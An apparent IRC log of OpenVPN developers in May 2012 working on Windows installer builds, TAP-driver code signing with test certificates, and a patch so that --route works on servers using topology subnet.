it very nicely 05:13 <@mattock> even signs the openssl libraries and executables 05:14 <@mattock> openvpn-build/windows-nsis/build-snapshot that is 05:14 <@mattock> alonbl: which mingw_w64 version should I aim for? 05:15 <@mattock> i.e. which one should work (in case I find updated debs) 05:58 <@d12fk> cool? this: http://www.youtube.com/watch?v=qCT7SisWh38 05:58 <@vpnHelper> Title: Internet Protocol over Xylophone Players (IPoXP) - YouTube (at www.youtube.com) 06:01 <@dazo> hehehe ... reminds of the IPoverPigeon implementation some years ago 06:02 <+krzee> http://www.ietf.org/rfc/rfc2549 06:02 <@dazo> http://www.blug.linux.no/rfc1149/ 06:02 <@vpnHelper> Title: Bergen Linux User Group (at www.blug.linux.no) 06:02 <+krzee> damn, that was 1999 06:02 <@dazo> krzee: but it was really tested in real life in 2001 ;-) 06:05 <@dazo> And Alan Cox was attending the event too! http://www.blug.linux.no/rfc1149/vegard_bilder/tn/04preparation_fri_alan.jpg.html 06:05 <@vpnHelper> Title: Album: 04preparation fri alan (at www.blug.linux.no) 06:18 < alonbl> mattock: you probably using pre-release... I am using mingw64-runtime-2.0 06:20 < alonbl> http://sourceforge.net/projects/mingw-w64/files/mingw-w64/mingw-w64-release/ 06:20 <@vpnHelper> Title: MinGW-w64 - for 32 and 64 bit Windows - Browse /mingw-w64/mingw-w64-release at SourceForge.net (at sourceforge.net) 06:36 <@mattock> alonbl: thanks, I'll try that 06:39 <@mattock> it seems atm I got mingw_w64 1.0 06:40 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 06:48 <@mattock> I got a few ubuntu 12.04 VMs lying around, those should do the trick for now 07:07 <@mattock> build-snapshot running 07:22 <@mattock> looking into TAP-driver building while the poor VM is working on build-snapshot 07:28 <@mattock> all too easy... 07:30 <@mattock> I'll test what tap-windows build thinks of my shiny self-signed test keys 07:47 <@mattock> alonbl: does this have to do with self-signed certificates: "Signtool Error: The provided cross certificate would not be present in the certificate chain" 08:30 <@mattock> alonbl: no issues whatsover with windows-nsis/build-complete on ubuntu 12.04 64-bit once I got the dependencies installed 08:31 <@mattock> dependencies documented here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Installingprequisites 08:31 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 08:35 <@mattock> I'll ask James to sign the TAP-driver while we're waiting for separate signing keys 08:52 <@mattock> mail sent 08:53 <@mattock> hopefully he responds quickly... 08:54 <@mattock> now to easy-rsa... 08:58 <@mattock> nothing there ... 09:07 < alonbl> mattock: maybe you should remove the /ac XXX parameter of IGNTOOL% at installer/build.bat... send me your certificate I will check. 09:07 < alonbl> mattock: maybe you should remove the /ac XXX parameter of \IGNTOOL% at installer/build.bat... send me your certificate I will check. 09:07 < alonbl> mattock: maybe you should remove the /ac XXX parameter of %SIGNTOOL% at installer/build.bat... send me your certificate I will check. 09:08 < alonbl> mattock: using Gentoo as build system for cross compiler is the best way I found... :) 09:12 < alonbl> mattock: most probably (for sure) timestamp signature will fail... so also remove the /t http://.... 09:12 < ecrist> so, based on feedback we received from various people, quaddamage and I are going to tweak our presentation and setup a bit, and offer to put it on for folks. 09:12 < ecrist> so, if anyone knows anyone who'd like an intro to openvpn presentation, have them contact me. 09:29 < alonbl> mattock: yes, I was right... I will commit a fix to tell us that this is a test certificate. 10:01 <@mattock> alonbl: flooding, eh? :P 10:01 <@mattock> I was away for a while 10:02 <@mattock> do you still need the my pkcs12 test key? 10:03 < alonbl> mattock: no. pull and set CODESIGN_ISTEST=yes 10:04 < alonbl> BTW: for your wiki, generating self signed certificate without MS specific tools...: 10:04 <@mattock> ok, I'll try that, thanks! 10:04 < alonbl> openssl req -newkey rsa:1024 -new -x509 -subj "/CN=test1" -out test.crt 10:04 <@mattock> ah, great! 10:04 < alonbl> openssl pkcs12 -export -inkey privkey.pem -in test.crt -out test.p12 10:04 <@mattock> less ms tools the better 10:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 10:11 < alonbl> mattock: oh... it was not flooding... just tried to find the escape sequence of %.... 10:15 <@mattock> :D 10:15 <@mattock> updated the wiki, I'll test building the tap-driver again 10:18 <@mattock> alonbl: signing the tap-driver using the test key now worked, thanks! 10:19 < alonbl> ok, what else do you need to automate the process? 10:24 <@mattock> hmm, keys from James :) 10:24 <@mattock> besides that the process is running smoothly 10:25 < alonbl> so you have a daily snapshot signing with the test key up and running? 10:25 <@mattock> not quite yet, but that's fairly trivial to do 10:25 <@mattock> I can harness my Ubuntu 12.04 64-bit VM to do just that 10:26 <@mattock> but we definitely need tap-drivers signed with a verified key a.s.a.p. 10:28 < alonbl> i think best is to release it first... I don't know any pending patch / request... 10:28 <@mattock> is it any use without signing? Windows Vista and 7 will reject it unless they're in test mode 10:29 < alonbl> oh... have no license for windows 7... probably right. 10:29 <@mattock> not sure if manually installing the CA certificate to the keystore would help... haven't tried 10:29 < alonbl> either we release what we have and james signs one time, or we release beta and james signs twice. 10:30 < alonbl> I believe you need a cross certificate for this ca. 10:30 <@mattock> ok 10:30 <@mattock> ...forgot to turn on code-signing for build-complete... 10:30 <@mattock> retry... 10:31 < alonbl> Also set TAP_WINDOWS_URL to fetch your own tap installer... 10:36 <@mattock> yep, already did 10:36 <@mattock> it fetched the TAP-driver I built allright 10:39 <@mattock> s/"I built"/"I had built"/1 10:39 <@mattock> ok, building now... will take quite a while 10:40 <@mattock> I'll get back to this tomorrow... I hope James takes care of the signatures by Friday, so that we can get useful snapshots out there this week 10:40 <@mattock> and release 2.3-alpha2 a.s.a.p. 11:17 -!- variable is now known as trout 12:37 -!- dazo is now known as dazo_afk 13:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:32 < ecrist> anyone here know how I can override a variable in subsequent Makefiles from a parent? 15:33 < ecrist> I thought setting environment var might work, but alas, it does nt 15:38 <+krzee> change it in the subsquent Makefiles? 15:38 <+krzee> (from the current script) 15:41 < ecrist> ugly 15:41 < ecrist> I figured out I need to do some different magic, anyhow 15:41 * ecrist starts re-writing make structure 15:41 < ecrist> not openvpn related. 16:06 <+krzee> this is weird… im using --server and then i add a route: route 10.0.0.201 255.255.255.255 (which has a matching iroute for a client in ccd) 16:06 <+krzee> for some reason the server says: 16:07 <+krzee> Tue May 15 12:26:17 2012 us=50549 OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 16:07 <+krzee> Tue May 15 12:26:17 2012 us=50561 OpenVPN ROUTE: failed to parse/resolve route for host/network: 10.0.0.201 16:07 <+krzee> ive used route this exact way soooo many times, no idea why openvpn is trippin this time 16:34 <+krzee> Tue May 15 13:31:01 2012 us=297668 OpenVPN ROUTE: vpn_gateway undefined 16:34 <+krzee> Tue May 15 13:31:01 2012 us=297685 OpenVPN ROUTE: failed to parse/resolve route for host/network: 10.0.0.201 16:34 <+krzee> Tue May 15 13:31:01 2012 us=297808 TUN/TAP device tun0 opened 16:34 <+krzee> when trying route 10.0.0.201 255.255.255.255 vpn_gateway 16:36 <+krzee> im using topology subnet… im guessing that this is trying to use the second parameter of a ptp ifconfig, if im right would this be a bug and should i make a trac ticket...? 16:37 <+krzee> vpn_gateway -- The remote VPN endpoint address (derived either from --route-gateway or the second parameter to --ifconfig when --dev tun is specified). 17:16 <+krzee> ill use a script to run route add -host 10.0.0.201 dev, so im fine, but thought i should mention in case its an unfixed bug 17:17 <+krzee> its 2.2.0 so it could be fixed by now 18:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:54 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:56 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 248 seconds] 19:58 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 20:07 -!- raidz is now known as raidz_afk 20:14 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 244 seconds] 22:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Wed May 16 2012 00:11 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 00:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:49 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 02:30 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 244 seconds] 02:56 <@mattock> it looks like we're going to get a separate code-signing key for OpenVPN 02:56 <@mattock> it's going to take a while due to bureaucracy, but I hope 2.3 (final) will be signed with it 03:03 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:04 <@mattock> alonbl: added a link to the old MS certificate generate/conversion documentation here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Code-signing 03:04 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 03:06 < alonbl> mattock: great, sorry of deleting this... anyway I would have phrase it a standard format instead of "format osslsigncode understands"... 03:08 < alonbl> mattock: but I don't understand the difference between this section/comment and "Using verified certificates" section... quite duplicate no? 03:15 <@mattock> alonbl: ok, standard format sounds good :) 03:15 <@mattock> the verified certificates section is a bit work in progress, i.e. messy 03:16 <@mattock> I'll remove it and move the link to the script elsewhere 03:16 < alonbl> yes, but all should go into one place... 03:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:22 <@mattock> alonbl: removed the "Verified certificate" section and moved the content here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Code-signing 03:22 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 03:23 <@mattock> looks fairly good to me, much less messy than earlier 03:23 <@mattock> what do you think? 03:24 < alonbl> well, I think that all signing related issues should go under "Code-signing"... not split between multiple sections... 03:24 < alonbl> maybe even in its own page... 03:28 < alonbl> mattock: BTW: can you please send me the recent signing certificate (not private key) of openvpn.net? maybe you need a different cross certificate than mine, so I will prepare this before james attempts to sign. 03:41 <@mattock> alonbl: I don't have any access to any code-signing keys/certificates for openvpn.net 03:41 <@mattock> any more than you do, that is :) 03:42 <@mattock> editing the code signing section... 03:43 < alonbl> hmmm... any already signed software? will he use the same key of previous tap? You have one advantage... james actually reply to you... 03:46 < alonbl> never mind, I will add new parameter for the tap build to specify cross certificate 03:55 < alonbl> done, use CODESIGN_CROSS at tap-windows config to specify alternate cross certificate 03:56 <@mattock> ok, now I'm fairly pleased with the code-signing documentation: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Code-signing 03:56 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 03:56 <@mattock> ok, I'll add CODESIGN_CROSS to the documentation 04:03 <@mattock> done 04:07 < alonbl> you should select proper one from http://msdn.microsoft.com/en-us/library/windows/hardware/gg487315.aspx based on the issuer CA of the signing certificate. 04:07 <@vpnHelper> Title: Cross-Certificates for Kernel Mode Code Signing (at msdn.microsoft.com) 04:22 <@mattock> yeah, been there, I'll add a link to the wiki 04:24 <@mattock> done 04:30 < alonbl> mattock: signing certificate for $180/year http://www.digicert.com/code-signing/driver-signing-in-windows-using-signtool.htm 04:30 <@vpnHelper> Title: How to Install a Kernel Mode Signing Certificate in Windows (at www.digicert.com) 04:31 <@mattock> alonbl: ok, there were similarly priced certs from GlobalSign, too 04:32 < alonbl> oh... ok... just make sure kernel mode and timestamping is available... 04:36 <@mattock> ah yes, need to make sure of that 04:36 <@mattock> so some code-signing certificates are "crippled" (i.e. no kernel mode/timestamping)? 04:37 < alonbl> yes... to be able to sign kernel microsoft must approve the issuing root ca. 04:37 <@mattock> ok 04:38 <@mattock> mail sent, now I need to get somebody to actually buy the certificates :) 04:39 <@mattock> i.e. execute the plan 04:42 <@mattock> got to go, will be back at ~13:30 04:49 -!- dazo_afk is now known as dazo 04:53 < alonbl> mattock: GlobalSign looks good. 04:58 <@dazo> krzee: You need --route-gateway in your config .... or extend the --route option to say: route 10.0.0.201 255.255.255.255 <vpn IP> 04:59 <+krzee> why has it worked for years how i usually use it and does not now? 05:00 <+krzee> is it topology subnet not having a second ip in ifconfig to pull it from? 05:00 <@dazo> good question ... as --route depends on --route-gateway being set ... if it's not set, it complains 05:00 * dazo can double check the code though 05:00 <@dazo> it most likely is related to --topology subnet, yes 05:01 <+krzee> so it should add the route to go out the dev instead of using an ip 05:02 <+krzee> (target ip/gateway) 05:02 <+krzee> thats what i did with a script 05:03 <+krzee> shall i make a ticket? 05:04 <@dazo> I don't think this is a bug at all, tbh .... I think this is a configuration issue; maybe combined with not clear enough docs 05:04 <+krzee> but why should it require an extra option that is the same as the ip that openvpn assigns itself? 05:04 <@dazo> OpenVPN doesn't have wide support for adding routes on devices ... even though, there are some IPv6 patches which might go in that direction 05:05 <@dazo> I need to look more carefully at the code to give a good argument there 05:05 <+krzee> until now route-gateway existed to override the default of "over the vpn" 05:06 <@dazo> Look at --server in the man-page 05:06 <@dazo> if dev tap OR (dev tun AND topology == subnet): 05:06 <@dazo> ifconfig 10.8.0.1 255.255.255.0 05:06 <@dazo> if !nopool: 05:06 <@dazo> ifconfig-pool 10.8.0.2 10.8.0.254 255.255.255.0 05:06 <@dazo> push "route-gateway 10.8.0.1" 05:06 <+krzee> o.O 05:06 <@dazo> if that last 'push' doesn't happen ... then it's a bug 05:06 * krzee looks 05:15 <+krzee> oh right 05:15 <+krzee> its --route on the server ;] 05:15 <@dazo> krzee: I'm looking at the git master ... and it seems to do exactly what --server says in the man page 05:15 <@dazo> ahh, that is quite different :) 05:15 <+krzee> it isnt setting route-gateway on itself 05:15 <@dazo> which makes sense 05:16 <+krzee> orly? 05:16 <+krzee> its assigning itself an ip, it knows what ip to use for route-gateway! 05:16 <+krzee> if it can push "route-gateway 10.8.0.1" it should also route-gateway 10.8.0.1… shouldnt it? 05:17 <+krzee> of course unless specifically provided 05:17 <@dazo> We can sure try to suggest a patch here ... and see what the reactions are 05:17 <+krzee> what would be a reason not to? 05:18 <+krzee> i also now find it interesting that its pushed 05:18 <@dazo> that the admin setting up the openvpn server knows what s/he is doing, and should do so explicitly if that's required? 05:18 <+krzee> wont that override any setting in the client config for route-gateway? 05:18 <+krzee> so route-gateway effectively cant be used in client config when using --server macro? 05:19 <@dazo> Good question ... I think it may, actually 05:19 <@dazo> == server overrides client config 05:19 <+krzee> ya 05:19 <+krzee> ive tested that 05:19 <+krzee> (not with route-gateway, but in general) 05:19 <+krzee> i think i tested it with keepalive to be specific 05:19 <@dazo> yeah, pulled options are applied after local config ... so that makes sense - code wise 05:20 <+krzee> ya does make sense 05:20 <+krzee> definitely 05:20 <+krzee> the interesting part is that route-gateway is pushed instead of figured out by knowing the other side of the tunnel, or better yet just add routes to device instead of requiring ptp style 05:30 <+krzee> [05:15] <dazo> that the admin setting up the openvpn server knows what s/he is doing, and should do so explicitly if that's required? 05:31 <+krzee> if thats the consensus ild say that we should remove the push route-gateway from --server 05:31 <+krzee> to at least be consistent 05:31 <@dazo> but isn't that really two different scenarios? 05:31 <+krzee> --route working 1 way on a client and 1 way on a server when in --server / --topology subnet 05:32 <@dazo> --route doesn't change behaviour on the server side at all ... the client side is, ehm, the client side 05:32 <+krzee> a person must definte --route-gateway on server for --route to work, not on the client 05:33 <@dazo> well ... you also need to push "route-gateway" if you don't use --server, and do the macro expansion manually 05:33 <+krzee> right, which is why i think --server should set it locally too 05:33 <@dazo> yeah, I'm pondering on that 05:35 <+krzee> or to just default it to the other side of the vpn (while maybe making more sense so route-gateway could be defined in client config in --server, this would require more code for very very little benefit) 05:37 <+krzee> gah i gotta learn c man 05:37 <+krzee> lol 05:37 <@dazo> :) 05:37 <@dazo> krzee: I'll have a patch in a few minutes, if you can test it out for me 05:38 <+krzee> sure 05:38 <@cron2> krzee: are you doing --route on the server with *tap* interfaces? 05:38 <+krzee> neg 05:38 <+krzee> tun / toplogy subnet 05:38 <@cron2> oh. so --route on the server is broken for topology subnet? 05:38 <+krzee> but ild assume routed tap would behave the same 05:38 <+krzee> cron2, depends on your definition of "broken" 05:38 <@cron2> tap has more interesting breakage with --route 05:38 <@cron2> krzee: "not working" = "broken" :-) 05:39 <+krzee> well it works if you use route-gateway 05:39 <+krzee> but it pushes it to the client automatically in --server 05:39 <+krzee> (which also makes it so clients cant specify it manually in their config) 05:39 <@cron2> (for tap, you can't really tell the kernel "route this to the openvpn process", as openvpn doesn't *do* routing, so you need to specify the right client IP on the tap...) 05:40 <+krzee> so --route in client config works, in server config does not unless also specifying --route-gateway <vpn_server_ip> 05:40 <+krzee> ohhh ya that makes sense 05:40 <+krzee> i didnt think about that, it is very different indeed in tap 05:41 <@cron2> that's broken :-) (needing route-gateway for topology subnet)... the specific next-hop IP address doesn't matter at all, so just using "$myip +1" (as in "net30") would work fine... 05:41 <+krzee> i agree =] 05:41 <@cron2> there's not enough pragmatism in openvpn's route.c code :-) 05:42 <+krzee> although another solution could be to add the route with destination as the device 05:42 * cron2 has no time right now to look into this, and how "net30" and "subnet" differ on the server side... but that part of the code is not particularily pretty either 05:42 <+krzee> well rather 05:42 <+krzee> nevermind 05:43 <+krzee> that wouldnt allow route-gateway to be defined on client, it would kill route-gateway, so forget that one... 05:43 <@cron2> that's the problem I have with IPv6 right now - it's routing into the tun interface, without gateway address, so even if you *want* a gateway spec, you can't 05:44 <+krzee> couldnt the client default its route-gateway without it being pushed? 05:44 <+krzee> that way route-gateway in client config would still be valid (not a biggie, i just find that very odd) 05:44 <@cron2> most likely we'd break existing clients if we change that. 05:45 <+krzee> oh funny, i took myself down your road without knowing ;] 05:45 <+krzee> oh yes, that is true 05:45 <+krzee> totally not worth losing compatibility 05:45 <@cron2> as you can specifcy a route with explicit gateway address, it's not a major problem to not being able to specify route-gateway on the client - if you really really need that, just use "route 1.2.3.4 255.255.255.255 5.6.7.8" 05:45 <@dazo> RFC patch ... http://www.fpaste.org/1DMT/ 05:45 * dazo catches up on the discussion 05:46 <+krzee> !git 05:46 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 05:46 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 05:46 <@cron2> you might need to use server_network+2, to avoid setting the route to the server's own IP address 05:47 <+krzee> and then iroute will fix it? 05:47 <@cron2> (which might work or not, this "usually" is used to specify "this is directly connected on the interface, no gateway" - but that's meaningless for tun anyway) 05:47 <@dazo> cron2: wouldn't that only work in a p2p scenario? 05:47 <@cron2> dazo: a tun interface is always a p2p interface 05:48 <@dazo> oh, true 05:48 <+krzee> since .2 will simply route to openvpn which will decide which client based on iroute table 05:48 <+krzee> (guessing) 05:48 * dazo need to dig deeper to where route_default_gateway is used further 05:48 <@cron2> which is where half of the confusion about net30 is coming from - from the pov of the operating system kernel, it's always p2p, as there is no arp or anything 05:49 <@cron2> krzee: yes, that was the thought - openvpn needs to iroute it anyway, so all the OS needs to do is "stuff it into tun". 05:49 <@cron2> the information about "what did the OS use as route gateway?" is completely forgotten as soon as the packet is in the tun, as there is no MAC address or ARP or anything 05:50 <+krzee> cool, thats what i thought it'ld do 05:50 <@cron2> dazo: the patch (with +2) is likely to "just work", but I'm wondering whether it needs more documentation to avoid lots of confusion about "how can you point a route to 10.8.0.2 if you don't know which client is going to have that address?" (which is not relevant, but looks like it is) 05:51 <@dazo> cron2: yeah, exactly 05:51 <+krzee> yes, would be a good note in the manual 05:51 <+krzee> (and ill tell vpnHelper!) 05:51 <@dazo> krzee: are you able to formulate something clever there? I'm struggling with how to word it properly and understandable 05:52 <@cron2> f00d 05:53 * dazo wonders wtf init_route_list() is really doing 05:53 <@cron2> "allocate data structures" IIRC 05:53 <@cron2> f00d, brb 05:53 <@dazo> enjoy! 05:54 <@dazo> yeah, that's what I thought as well ... but it does at lot more too .... 05:56 <@dazo> wtf!?!?!? 05:56 <@dazo> void 05:56 <@dazo> get_default_gateway (struct route_gateway_info *rgi) 05:56 <@dazo> { 05:56 <@dazo> CLEAR(*rgi); 05:56 <@dazo> } 05:56 <+krzee> it would be a note in --server 05:57 <@dazo> krzee: yeah, that's the code path I'm modifying 05:58 <@dazo> s/get_default_gateway/clear_gateway_info/ ... that would be more correct 05:58 <+krzee> When in server mode --route gateway is set to .2 just to get the route added and pointing to openvpn. This is unrelated to any client on .2, it simply gets the operating system to send the traffic to the openvpn process, which will figure out which client to send the traffic to itself. 05:58 <+krzee> --route-gateway* 06:00 <@dazo> krzee: at the end of the line ... is there missing a few words? ... "to send the traffic to itself" sounds a bit confusing to me 06:01 <@dazo> s/itself\./\./ 06:01 <@dazo> ? 06:01 <+krzee> which will figure out which client to send the traffic to. 06:01 <@dazo> :) 06:01 <+krzee> ya, itself was confusing there 06:01 <@dazo> krzee: I'll implement that and prepare a new patch 06:02 <+krzee> nice! 06:02 <+krzee> now i know ive seen this before in the irc channel, never really understood what was going on there til now 06:14 <@dazo> krzee: can you also help me a bit with the commit message too? It's the "why" point I'm struggling with 06:16 <+krzee> adding a local --route-gateway entry in --server when using --topology subnet to give users consistency in using the --route command without needing to specify route-gateway in client/server configs, and because it's really not necessary to force the user to set it. 06:18 <+krzee> adding a local --route-gateway entry to the --server macro when using --topology subnet to give users consistency when using the --route command without needing to specify route-gateway in client/server configs; and because it's really not necessary to force the user to set it. 06:32 <@dazo> krzee: cron2: Does this look sane to you? http://www.fpaste.org/Vn9w/ 06:33 <@dazo> krzee: would be great if you could test this patch too .... git clone ... enter openvpn directory, and do: git am $patch 06:33 <+krzee> sure 06:33 <@dazo> then you can do the 'autoreconf -vi; ./configure; make 06:33 <@dazo> ' magic 06:34 <@dazo> in fact, this should work in a git based openvpn tree: curl http://www.fpaste.org/Vn9w/raw/ | git am 06:38 <+krzee> autoreconf-2.68: running: aclocal -I m4 --output=aclocal.m4t 06:38 <+krzee> Can't locate Automake/Config.pm in @INC (@INC contains: /usr/local/share/automake-1.11 /usr/local/lib/perl5/5.8.9/BSDPAN /usr/local/lib/perl5/site_perl/5.8.9/mach /usr/local/lib/perl5/site_perl/5.8.9 /usr/local/lib/perl5/5.8.9/mach /usr/local/lib/perl5/5.8.9 .) at /usr/local/bin/aclocal-1.11 line 37. 06:38 <+krzee> BEGIN failed--compilation aborted at /usr/local/bin/aclocal-1.11 line 37. 06:38 <+krzee> autoreconf-2.68: aclocal failed with exit status: 2 06:41 < alonbl> krzee: your installation of automake is not valid or something similar... 06:42 <+krzee> prolly outdated, ill use a newer box 06:43 < alonbl> no.. it is invalid... try to remove install. 06:44 <+krzee> ok, after portsnap finishes 06:47 <+krzee> working fine on another box in the meantime 06:50 <@mattock> I just realized that I have an OpenSUSE 12.1 VM that I can use also as a buildslave... 06:50 <@mattock> -> TODO 06:51 <@cron2> dazo: looks good to me 06:52 <@dazo> thx, cron2! Then I'll await krzee's testing to see that it really solves the issue he sees ... then I'll submit it 06:55 <@cron2> just as a side note: when we have OpenVPN-on-Android, this is really going to rock. We have customers spending $big on Juniper SSL appliances because there's no openvpn yet... and with openvpn, we could just keep the money :-) 06:59 <+krzee> Wed May 16 03:51:58 2012 us=653622 ROUTE_GATEWAY 64.234.228.1/255.255.255.0 IFACE=eth0 HWADDR=00:e0:4d:47:7f:d3 06:59 <+krzee> Wed May 16 03:51:58 2012 us=653660 OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 06:59 <+krzee> Wed May 16 03:51:58 2012 us=653685 OpenVPN ROUTE: failed to parse/resolve route for host/network: 10.0.0.201 06:59 <+krzee> that ip is my servers gateway 06:59 <+krzee> net_gateway 07:02 <+krzee> so ya, didnt change 07:03 <@cron2> this is weird, where is that route-gateway coming from? 07:04 <+krzee> actually that was red herring, it was always there 07:05 <+krzee> Wed May 16 03:58:05 2012 us=574317 ROUTE default_gateway=64.234.228.1 07:05 <+krzee> Wed May 16 03:58:05 2012 us=574350 OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 07:05 <+krzee> Wed May 16 03:58:05 2012 us=574374 OpenVPN ROUTE: failed to parse/resolve route for host/network: 10.0.0.201 07:05 <+krzee> thats 2.2.0 07:05 <+krzee> confusing naming now tho maybe 07:07 <@mattock> the installers with test-signed TAP-drivers/executables/libraries seem to work great on Windows 7 07:08 <@mattock> I'll send mail to -devel to notify people of these installers (32/64-bit) 07:11 < alonbl> mattock: does the openvpn-gui works for you at 64bit? I get a registry error message at startup 07:11 <@mattock> yeah, it did work 07:12 <@mattock> unless it was using some old OpenVPN-GUI... I'll verify that 07:12 <@mattock> yep, it was using the OpenVPN-GUI bundled with the installer 07:14 < alonbl> what do you mean? 07:20 <@mattock> the Windows VM I used for testing has seen probably 50 OpenVPN installations/uninstallations 07:20 <@mattock> I just wanted to make sure an old version of OpenVPN-GUI was not lying around and messing things up... 07:21 <@mattock> in a nutshell, the GUI works properly :) 07:21 <@mattock> no problems 07:22 <@mattock> to make it even more clear, "the GUI bundled with the 64-bit installer built using build-snapshot works ok on Windows 7 64-bit" :D 07:23 < alonbl> mattock: OK thanks! for some reason it did not work for me... did you try to run is at none administrator after deleting all openvpn related registry keys? 07:24 < alonbl> and fresh install... 07:24 <@mattock> nope, afaik OpenVPN-GUI does not work without admin privileges yet, so I launched it as admin 07:25 < alonbl> oh? ok... I thought it is using the management interface these days... never actually used it. 07:25 <@mattock> yeah, it does, but I think it's still work in progress 07:25 < alonbl> BTW: I added the openvpn-gui build patch to the list of 2.3_alpha2 07:25 <@mattock> ok, great! 07:28 <@dazo> krzee: I think I fell off ... not sure I understood what you tested and what really happened 07:31 <@mattock> installers announced on the ml 07:31 <@mattock> let's see how they work for people 07:31 <@mattock> nice to have both 32-bit and 64-bit versions available 07:33 < alonbl> yes, much simpler than using VC.... :) 07:34 < alonbl> BTW: did you try to reboot and see if tap drivers are loaded correctly during boot? this is where the cross certificate should play part. 07:35 < alonbl> I think you should also publish the separate tap-windows package, so people may also test this as-is... 07:42 < alonbl> mattock: the tap-windows zip also contains signed drivers... 08:22 <@mattock> alonbl: I'll see what happens during reboot 08:22 <@mattock> I mean, after 08:24 <@mattock> I'll wait until James sends me the signed TAP-drivers and then publish new packages 08:24 <@mattock> I'll try to get Andrew to order the code-signing certificate today or tomorrow 08:30 <@mattock> alonbl: TAP driver seems ok after a reboot 08:30 < alonbl> mattock: great! so all is setup for testing. 08:31 <@mattock> yep 08:31 < alonbl> did you see what I wrote regarding zip contains signed drivers and request to publish the tap-installer as a standalone to test? 08:35 <@mattock> yep 08:35 <@mattock> which signed tap-drivers are referring to? the self-signed ones? 08:37 <@mattock> the TAP-drivers included in the OpenVPN installer I published are actually already on build.openvpn.net... just forgot to announce them 08:39 <@mattock> http://build.openvpn.net/downloads/snapshots/tap-windows-9.9.0_master.exe 08:43 < alonbl> mattock: right... but I would like people to test the tap-windows installer as-is... after we have proper sign, I will notify this at tap-windows users such as colinux and tinc 08:46 <@mattock> alonbl: I'll mention that self-signed installer in a reply to my earlier announcement 08:47 <@mattock> and once James hands me the signed TAP-driver, I'll rebuild the installers and announce them 08:48 <@mattock> done 08:50 < alonbl> thanks! 08:52 <@mattock> I'm thinking we should probably start using GitHub for publish snapshots of the various subprojects... and only use openvpn.net for "real" releases 08:52 <@mattock> linking to GitHub from openvpn.net, obviously 08:53 < alonbl> sure, the question is how to automate the process... I don't think they support ssh for downloads. 08:53 <@mattock> ah, ok 09:02 < ecrist> we could publish the snapshots on my ftp server, as well 09:02 < ecrist> that *does* support ssh/sftp 09:02 <@mattock> ecrist: yep, and we can obviously use build.openvpn.net, too 09:03 <@mattock> but having the snapshots in GitHub would be a nice touch 09:03 < ecrist> so, why use a third place? 09:04 <@mattock> no reason, just an option 09:04 <@mattock> but if GitHub does not support SSH uploads, then I guess we can only publish official releases of easy-rsa, tap-windows, etc. in there 09:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 09:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 265 seconds] 10:24 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:49 <@dazo> alonbl: I just stumbled over something in the commit history ... look at commit 9356bae859938c and commit 5cdb5e0111df7b3d 10:50 <@dazo> (well, this code got merged into the 2.3 code base, so currently it's only available in the Access Server product) 10:50 * dazo haven't tested this yet, though 10:51 < alonbl> yes, I seen this in the code... it does not calc hash :( 10:52 <@dazo> I think commit 5cdb5e0111df7b3d does add that 10:53 < alonbl> great, so even better, we can remove the hardcoded tls_digest_ and stick with these options and the plugin interface. 10:55 <@dazo> Well, I'd say yes, for the 2.5 release ... let's not move too fast here, I'm concerned there are more users of tls_digest_ ... as I have responded to questions on that on IRC ... so when we remove it, it needs to be announced properly 10:55 < alonbl> yes, but 5 months is enough time for these processes... why wait two years? 10:55 <@dazo> in v2.4 we should announce that this variable will go away, and provide an guide how to use this new variable ... as it requires a 